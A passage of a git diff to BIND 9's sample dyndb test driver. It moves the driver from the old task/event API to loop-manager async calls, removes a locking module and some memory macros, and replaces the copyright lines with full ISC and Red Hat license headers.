  * up to driver implementation to detect and catch this situation if
  * it is undesirable.
- *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
  */
 
 #include <isc/commandline.h>
 #include <isc/hash.h>
-#include <isc/lib.h>
 #include <isc/mem.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
 #include <dns/dyndb.h>
-#include <dns/lib.h>
 #include <dns/types.h>
 
 #include "db.h"
@@ -70,18 +95,6 @@ dyndb_init(isc_mem_t *mctx, const char *name, const char *parameters,
 	REQUIRE(name != NULL);
 	REQUIRE(dctx != NULL);
 
-	/*
-	 * Depending on how dlopen() was called, we may not have
-	 * access to named's global namespace, in which case we need
-	 * to initialize libisc/libdns
-	 */
-	if (dctx->refvar != &isc_bind9) {
-		isc_lib_register();
-		isc_log_setcontext(dctx->lctx);
-		dns_log_setcontext(dctx->lctx);
-		isc_hash_set_initializer(dctx->hashinit);
-	}
-
 	s = isc_mem_strdup(mctx, parameters);
 
 	result = isc_commandline_strtoargv(mctx, s, &argc, &argv, 0);
@@ -122,7 +135,7 @@ dyndb_init(isc_mem_t *mctx, const char *name, const char *parameters,
 cleanup:
 	isc_mem_free(mctx, s);
 	if (argv != NULL) {
-		isc_mem_put(mctx, argv, argc * sizeof(*argv));
+		isc_mem_cput(mctx, argv, argc, sizeof(*argv));
 	}
 
 	return (result);
diff --git a/bin/tests/system/dyndb/driver/instance.c b/bin/tests/system/dyndb/driver/instance.c
index bc1f829159..22a6a00697 100644
--- a/bin/tests/system/dyndb/driver/instance.c
+++ b/bin/tests/system/dyndb/driver/instance.c
@@ -1,16 +1,42 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) 2009-2015 Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
 /*
  * Driver instance object.
  *
  * One instance is equivalent to dynamic-db section in named.conf.
  * This module parses arguments and provide high-level operations
  * instance init/zone load/instance destroy.
- *
- * Copyright (C) 2008-2015  Red Hat ; see COPYRIGHT for license
  */
 
 #include "instance.h"
 
-#include <isc/task.h>
 #include <isc/util.h>
 
 #include <dns/db.h>
@@ -55,14 +81,14 @@ parse_params(isc_mem_t *mctx, int argc, char **argv, dns_name_t *z1,
 		result = ISC_R_FAILURE;
 		goto cleanup;
 	}
-	result = dns_name_fromstring2(z1, argv[0], dns_rootname, 0, mctx);
+	result = dns_name_fromstring(z1, argv[0], dns_rootname, 0, mctx);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "parse_params: dns_name_fromstring2 -> %s",
 			  isc_result_totext(result));
 		goto cleanup;
 	}
-	result = dns_name_fromstring2(z2, argv[1], dns_rootname, 0, mctx);
+	result = dns_name_fromstring(z2, argv[1], dns_rootname, 0, mctx);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "parse_params: dns_name_fromstring2 -> %s",
@@ -85,16 +111,15 @@ new_sample_instance(isc_mem_t *mctx, const char *db_name, int argc, char **argv,
 		    const dns_dyndbctx_t *dctx,
 		    sample_instance_t **sample_instp) {
 	isc_result_t result;
-	sample_instance_t *inst = NULL;
 
 	REQUIRE(sample_instp != NULL && *sample_instp == NULL);
 
-	CHECKED_MEM_GET_PTR(mctx, inst);
-	ZERO_PTR(inst);
+	sample_instance_t *inst = isc_mem_get(mctx, sizeof(*inst));
+	*inst = (sample_instance_t){ 0 };
+
 	isc_mem_attach(mctx, &inst->mctx);
 
 	inst->db_name = isc_mem_strdup(mctx, db_name);
-
 	inst->zone1_name = dns_fixedname_initname(&inst->zone1_fn);
 	inst->zone2_name = dns_fixedname_initname(&inst->zone2_fn);
 
@@ -109,7 +134,7 @@ new_sample_instance(isc_mem_t *mctx, const char *db_name, int argc, char **argv,
 
 	dns_view_attach(dctx->view, &inst->view);
 	dns_zonemgr_attach(dctx->zmgr, &inst->zmgr);
-	isc_task_attach(dctx->task, &inst->task);
+	inst->loopmgr = dctx->loopmgr;
 
 	/* Register new DNS DB implementation. */
 	result = dns_db_register(db_name, create_db, inst, mctx, &inst->db_imp);
@@ -198,7 +223,6 @@ destroy_sample_instance(sample_instance_t **instp) {
 
 	dns_view_detach(&inst->view);
 	dns_zonemgr_detach(&inst->zmgr);
-	isc_task_detach(&inst->task);
 
-	MEM_PUT_AND_DETACH(inst);
+	isc_mem_putanddetach(&inst->mctx, inst, sizeof(*inst));
 }
diff --git a/bin/tests/system/dyndb/driver/instance.h b/bin/tests/system/dyndb/driver/instance.h
index d91f5b1139..1ce89baaf6 100644
--- a/bin/tests/system/dyndb/driver/instance.h
+++ b/bin/tests/system/dyndb/driver/instance.h
@@ -1,11 +1,37 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) 2009-2015 Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
 /**
  * Driver instance object.
- *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
  */
 
-#ifndef _LD_INSTANCE_H_
-#define _LD_INSTANCE_H_
+#pragma once
 
 #include <stdbool.h>
 
@@ -21,7 +47,7 @@ struct sample_instance {
 	/* These are needed for zone creation. */
 	dns_view_t *view;
 	dns_zonemgr_t *zmgr;
-	isc_task_t *task;
+	isc_loopmgr_t *loopmgr;
 	bool exiting;
 
 	dns_zone_t *zone1;
@@ -45,5 +71,3 @@ load_sample_instance_zones(sample_instance_t *inst);
 
 void
 destroy_sample_instance(sample_instance_t **sample_instp);
-
-#endif /* !_LD_INSTANCE_H_ */
diff --git a/bin/tests/system/dyndb/driver/lock.c b/bin/tests/system/dyndb/driver/lock.c
deleted file mode 100644
index d8bc33c949..0000000000
--- a/bin/tests/system/dyndb/driver/lock.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2014-2015  Red Hat ; see COPYRIGHT for license
- */
-
-#include "lock.h"
-
-#include <isc/task.h>
-#include <isc/util.h>
-
-/*
- * Lock BIND dispatcher and allow only single task to run.
- *
- * @warning
- * All calls to isc_task_beginexclusive() have to operate on the same task
- * otherwise it would not be possible to distinguish recursive locking
- * from real conflict on the dispatcher lock.
- * For this reason this wrapper function always works with inst->task.
- * As a result, this function have to be be called only from inst->task.
- *
- * Recursive locking is allowed. Auxiliary variable pointed to by "statep"
- * stores information if last run_exclusive_enter() operation really locked
- * something or if the lock was called recursively and was no-op.
- *
- * The pair (inst, state) used for run_exclusive_enter() has to be
- * used for run_exclusive_exit().
- *
- * @param[in]  	  inst   The instance with the only task which is allowed to
- * run.
- * @param[in,out] statep Lock state: ISC_R_SUCCESS or ISC_R_LOCKBUSY
- */
-void
-run_exclusive_enter(sample_instance_t *inst, isc_result_t *statep) {
-	REQUIRE(statep != NULL);
-	REQUIRE(*statep == ISC_R_IGNORE);
-
-	*statep = isc_task_beginexclusive(inst->task);
-	RUNTIME_CHECK(*statep == ISC_R_SUCCESS || *statep == ISC_R_LOCKBUSY);
-}
-
-/*
- * Exit task-exclusive mode.
- *
- * @param[in] inst  The instance used for previous run_exclusive_enter() call.
- * @param[in] state Lock state as returned by run_exclusive_enter().
- */
-void
-run_exclusive_exit(sample_instance_t *inst, isc_result_t state) {
-	if (state == ISC_R_SUCCESS) {
-		isc_task_endexclusive(inst->task);
-	} else {
-		/* Unlocking recursive lock or the lock was never locked. */
-		INSIST(state == ISC_R_LOCKBUSY || state == ISC_R_IGNORE);
-	}
-
-	return;
-}
diff --git a/bin/tests/system/dyndb/driver/lock.h b/bin/tests/system/dyndb/driver/lock.h
deleted file mode 100644
index 35c9c84e81..0000000000
--- a/bin/tests/system/dyndb/driver/lock.h
+++ /dev/null
@@ -1,17 +0,0 @@
-/*
- * Copyright (C) 2014-2015  Red Hat ; see COPYRIGHT for license
- */
-
-#ifndef LOCK_H_
-#define LOCK_H_
-
-#include "instance.h"
-#include "util.h"
-
-void
-run_exclusive_enter(sample_instance_t *inst, isc_result_t *statep);
-
-void
-run_exclusive_exit(sample_instance_t *inst, isc_result_t state);
-
-#endif /* LOCK_H_ */
diff --git a/bin/tests/system/dyndb/driver/log.c b/bin/tests/system/dyndb/driver/log.c
index 1a508fb64d..ef8b1eecd1 100644
--- a/bin/tests/system/dyndb/driver/log.c
+++ b/bin/tests/system/dyndb/driver/log.c
@@ -1,5 +1,30 @@
 /*
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 #include "log.h"
diff --git a/bin/tests/system/dyndb/driver/log.h b/bin/tests/system/dyndb/driver/log.h
index 1a73ea36ab..375db2b46a 100644
--- a/bin/tests/system/dyndb/driver/log.h
+++ b/bin/tests/system/dyndb/driver/log.h
@@ -1,19 +1,41 @@
 /*
- * Copyright (C) 2009--2015  Red Hat ; see COPYRIGHT for license
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
-#ifndef _LD_LOG_H_
-#define _LD_LOG_H_
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+#pragma once
 
 #include <isc/error.h>
+#include <isc/result.h>
 
 #include <dns/log.h>
-#include <dns/result.h>
-
-#define fatal_error(...) isc_error_fatal(__FILE__, __LINE__, __VA_ARGS__)
 
 #define log_error_r(fmt, ...) \
-	log_error(fmt ": %s", ##__VA_ARGS__, dns_result_totext(result))
+	log_error(fmt ": %s", ##__VA_ARGS__, isc_result_totext(result))
 
 #define log_error(format, ...) log_write(ISC_LOG_ERROR, format, ##__VA_ARGS__)
 
@@ -21,5 +43,3 @@
 
 void
 log_write(int level, const char *format, ...) ISC_FORMAT_PRINTF(2, 3);
-
-#endif /* !_LD_LOG_H_ */
diff --git a/bin/tests/system/dyndb/driver/syncptr.c b/bin/tests/system/dyndb/driver/syncptr.c
index 3212a2d93f..364fa670ee 100644
--- a/bin/tests/system/dyndb/driver/syncptr.c
+++ b/bin/tests/system/dyndb/driver/syncptr.c
@@ -1,15 +1,40 @@
 /*
- * Automatic A/AAAA/PTR record synchronization.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
  *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+/*
+ * Automatic A/AAAA/PTR record synchronization.
  */
 
 #include "syncptr.h"
 
-#include <isc/event.h>
-#include <isc/eventclass.h>
+#include <isc/async.h>
 #include <isc/netaddr.h>
-#include <isc/task.h>
 #include <isc/util.h>
 
 #include <dns/byaddr.h>
@@ -21,15 +46,11 @@
 #include "instance.h"
 #include "util.h"
 
-/* Almost random value. See eventclass.h */
-#define SYNCPTR_WRITE_EVENT (ISC_EVENTCLASS(1025) + 1)
-
 /*
  * Event used for making changes to reverse zones.
  */
-typedef struct syncptrevent syncptrevent_t;
-struct syncptrevent {
-	ISC_EVENT_COMMON(syncptrevent_t);
+typedef struct syncptr syncptr_t;
+struct syncptr {
 	isc_mem_t *mctx;
 	dns_zone_t *zone;
 	dns_diff_t diff;
@@ -47,19 +68,15 @@ struct syncptrevent {
  *
  */
 static void
-syncptr_write(isc_task_t *task, isc_event_t *event) {
-	syncptrevent_t *pevent = (syncptrevent_t *)event;
+syncptr_write(void *arg) {
+	syncptr_t *syncptr = (syncptr_t *)arg;
 	dns_dbversion_t *version = NULL;
 	dns_db_t *db = NULL;
 	isc_result_t result;
 
-	REQUIRE(event->ev_type == SYNCPTR_WRITE_EVENT);
-
-	UNUSED(task);
-
 	log_write(ISC_LOG_INFO, "ENTER: syncptr_write");
 
-	result = dns_zone_getdb(pevent->zone, &db);
+	result = dns_zone_getdb(syncptr->zone, &db);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "syncptr_write: dns_zone_getdb -> %s\n",
@@ -74,7 +91,7 @@ syncptr_write(isc_task_t *task, isc_event_t *event) {
 			  isc_result_totext(result));
 		goto cleanup;
 	}
-	result = dns_diff_apply(&pevent->diff, db, version);
+	result = dns_diff_apply(&syncptr->diff, db, version);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "syncptr_write: dns_diff_apply -> %s\n",
@@ -89,9 +106,9 @@ syncptr_write(isc_task_t *task, isc_event_t *event) {
 		}
 		dns_db_detach(&db);
 	}
-	dns_zone_detach(&pevent->zone);
-	dns_diff_clear(&pevent->diff);
-	isc_event_free(&event);
+	dns_zone_detach(&syncptr->zone);
+	dns_diff_clear(&syncptr->diff);
+	isc_mem_putanddetach(&syncptr->mctx, syncptr, sizeof(*syncptr));
 }
 
 /*
@@ -130,7 +147,7 @@ syncptr_find_zone(sample_instance_t *inst, dns_rdata_t *rdata, dns_name_t *name,
 		break;
 
 	default:
-		fatal_error("unsupported address type 0x%x", rdata->type);
+		FATAL_ERROR("unsupported address type 0x%x", rdata->type);
 		break;
 	}
 
@@ -140,7 +157,7 @@ syncptr_find_zone(sample_instance_t *inst, dns_rdata_t *rdata, dns_name_t *name,
 	 * @example
 	 * 192.168.0.1 -> 1.0.168.192.in-addr.arpa
 	 */
-	result = dns_byaddr_createptrname(&isc_ip, 0, name);
+	result = dns_byaddr_createptrname(&isc_ip, name);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "syncptr_find_zone: dns_byaddr_createptrname -> %s\n",
@@ -149,7 +166,7 @@ syncptr_find_zone(sample_instance_t *inst, dns_rdata_t *rdata, dns_name_t *name,
 	}
 
 	/* Find a zone containing owner name of the PTR record. */
-	result = dns_zt_find(inst->view->zonetable, name, 0, NULL, zone);
+	result = dns_view_findzone(inst->view, name, 0, zone);
 	if (result == DNS_R_PARTIALMATCH) {
 		result = ISC_R_SUCCESS;
 	} else if (result != ISC_R_SUCCESS) {
@@ -203,18 +220,17 @@ syncptr(sample_instance_t *inst, dns_name_t *name, dns_rdata_t *addr_rdata,
 	dns_rdata_ptr_t ptr_struct;
 	dns_rdata_t ptr_rdata = DNS_RDATA_INIT;
 	dns_difftuple_t *tp = NULL;
-	isc_task_t *task = NULL;
-	syncptrevent_t *pevent = NULL;
+	syncptr_t *syncptr = NULL;
 
 	dns_fixedname_init(&ptr_name);
 	DNS_RDATACOMMON_INIT(&ptr_struct, dns_rdatatype_ptr, dns_rdataclass_in);
 	dns_name_init(&ptr_struct.ptr, NULL);
 
-	pevent = (syncptrevent_t *)isc_event_allocate(
-		inst->mctx, inst, SYNCPTR_WRITE_EVENT, syncptr_write, NULL,
-		sizeof(syncptrevent_t));
-	isc_buffer_init(&pevent->b, pevent->buf, sizeof(pevent->buf));
-	dns_fixedname_init(&pevent->ptr_target_name);
+	syncptr = isc_mem_get(mctx, sizeof(*syncptr));
+	*syncptr = (syncptr_t){ 0 };
+	isc_mem_attach(mctx, &syncptr->mctx);
+	isc_buffer_init(&syncptr->b, syncptr->buf, sizeof(syncptr->buf));
+	dns_fixedname_init(&syncptr->ptr_target_name);
 
 	/* Check if reverse zone is managed by this driver */
 	result = syncptr_find_zone(inst, addr_rdata,
@@ -227,15 +243,14 @@ syncptr(sample_instance_t *inst, dns_name_t *name, dns_rdata_t *addr_rdata,
 	}
 
 	/* Reverse zone is managed by this driver, prepare PTR record */
-	pevent->zone = NULL;
-	dns_zone_attach(ptr_zone, &pevent->zone);
-	dns_name_copy(name, dns_fixedname_name(&pevent->ptr_target_name));
-	dns_name_clone(dns_fixedname_name(&pevent->ptr_target_name),
+	dns_zone_attach(ptr_zone, &syncptr->zone);
+	dns_name_copy(name, dns_fixedname_name(&syncptr->ptr_target_name));
+	dns_name_clone(dns_fixedname_name(&syncptr->ptr_target_name),
 		       &ptr_struct.ptr);
-	dns_diff_init(inst->mctx, &pevent->diff);
+	dns_diff_init(inst->mctx, &syncptr->diff);
 	result = dns_rdata_fromstruct(&ptr_rdata, dns_rdataclass_in,
 				      dns_rdatatype_ptr, &ptr_struct,
-				      &pevent->b);
+				      &syncptr->b);
 	if (result != ISC_R_SUCCESS) {
 		log_write(ISC_LOG_ERROR,
 			  "syncptr: dns_rdata_fromstruct -> %s\n",
@@ -252,14 +267,14 @@ syncptr(sample_instance_t *inst, dns_name_t *name, dns_rdata_t *addr_rdata,
 			  isc_result_totext(result));
 		goto cleanup;
 	}
-	dns_diff_append(&pevent->diff, &tp);
+	dns_diff_append(&syncptr->diff, &tp);
 
 	/*
 	 * Send update event to the reverse zone.
 	 * It will be processed asynchronously.
 	 */
-	dns_zone_gettask(ptr_zone, &task);
-	isc_task_send(task, (isc_event_t **)&pevent);
+	isc_async_run(dns_zone_getloop(ptr_zone), syncptr_write, syncptr);
+	syncptr = NULL;
 
 cleanup:
 	if (ptr_zone != NULL) {
@@ -268,11 +283,8 @@ syncptr(sample_instance_t *inst, dns_name_t *name, dns_rdata_t *addr_rdata,
 	if (tp != NULL) {
 		dns_difftuple_free(&tp);
 	}
-	if (task != NULL) {
-		isc_task_detach(&task);
-	}
-	if (pevent != NULL) {
-		isc_event_free((isc_event_t **)&pevent);
+	if (syncptr != NULL) {
+		isc_mem_put(mctx, syncptr, sizeof(*syncptr));
 	}
 
 	return (result);
diff --git a/bin/tests/system/dyndb/driver/syncptr.h b/bin/tests/system/dyndb/driver/syncptr.h
index de96ca175f..91edee1caf 100644
--- a/bin/tests/system/dyndb/driver/syncptr.h
+++ b/bin/tests/system/dyndb/driver/syncptr.h
@@ -1,7 +1,34 @@
 /*
- * Sync PTR records
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
  *
- * Copyright (C) 2014-2015  Red Hat ; see COPYRIGHT for license
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+/*
+ * Sync PTR records
  */
 
 #pragma once
diff --git a/bin/tests/system/dyndb/driver/util.h b/bin/tests/system/dyndb/driver/util.h
index 5bc3b5058b..e3ccedfe7e 100644
--- a/bin/tests/system/dyndb/driver/util.h
+++ b/bin/tests/system/dyndb/driver/util.h
@@ -1,11 +1,37 @@
 /*
- * Memory allocation and error handling utilities.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
-#ifndef _LD_UTIL_H_
-#define _LD_UTIL_H_
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+/*
+ * Memory allocation and error handling utilities.
+ */
+
+#pragma once
 
 #include <isc/mem.h>
 
@@ -25,34 +51,3 @@
 		if (result != ISC_R_SUCCESS) \
 			goto cleanup;        \
 	} while (0)
-
-#define CHECKED_MEM_GET(m, target_ptr, s)                      \
-	do {                                                   \
-		(target_ptr) = isc_mem_get((m), (s));          \
-		if ((target_ptr) == NULL) {                    \
-			result = ISC_R_NOMEMORY;               \
-			log_error("Memory allocation failed"); \
-			goto cleanup;                          \
-		}                                              \
-	} while (0)
-
-#define CHECKED_MEM_GET_PTR(m, target_ptr) \
-	CHECKED_MEM_GET(m, target_ptr, sizeof(*(target_ptr)))
-
-#define CHECKED_MEM_STRDUP(m, source, target)                  \
-	do {                                                   \
-		(target) = isc_mem_strdup((m), (source));      \
-		if ((target) == NULL) {                        \
-			result = ISC_R_NOMEMORY;               \
-			log_error("Memory allocation failed"); \
-			goto cleanup;                          \
-		}                                              \
-	} while (0)
-
-#define ZERO_PTR(ptr) memset((ptr), 0, sizeof(*(ptr)))
-
-#define MEM_PUT_AND_DETACH(target_ptr)                        \
-	isc_mem_putanddetach(&(target_ptr)->mctx, target_ptr, \
-			     sizeof(*(target_ptr)))
-
-#endif /* !_LD_UTIL_H_ */
diff --git a/bin/tests/system/dyndb/driver/zone.c b/bin/tests/system/dyndb/driver/zone.c
index da85ecb82e..caa615b4df 100644
--- a/bin/tests/system/dyndb/driver/zone.c
+++ b/bin/tests/system/dyndb/driver/zone.c
@@ -1,7 +1,34 @@
 /*
- * Zone management.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
  *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+/*
+ * Zone management.
  */
 
 #include "zone.h"
@@ -15,7 +42,6 @@
 #include <dns/zone.h>
 
 #include "instance.h"
-#include "lock.h"
 #include "log.h"
 #include "util.h"
 
@@ -40,12 +66,8 @@ create_zone(sample_instance_t *const inst, dns_name_t *const name,
 
 	zone_argv[0] = inst->db_name;
 
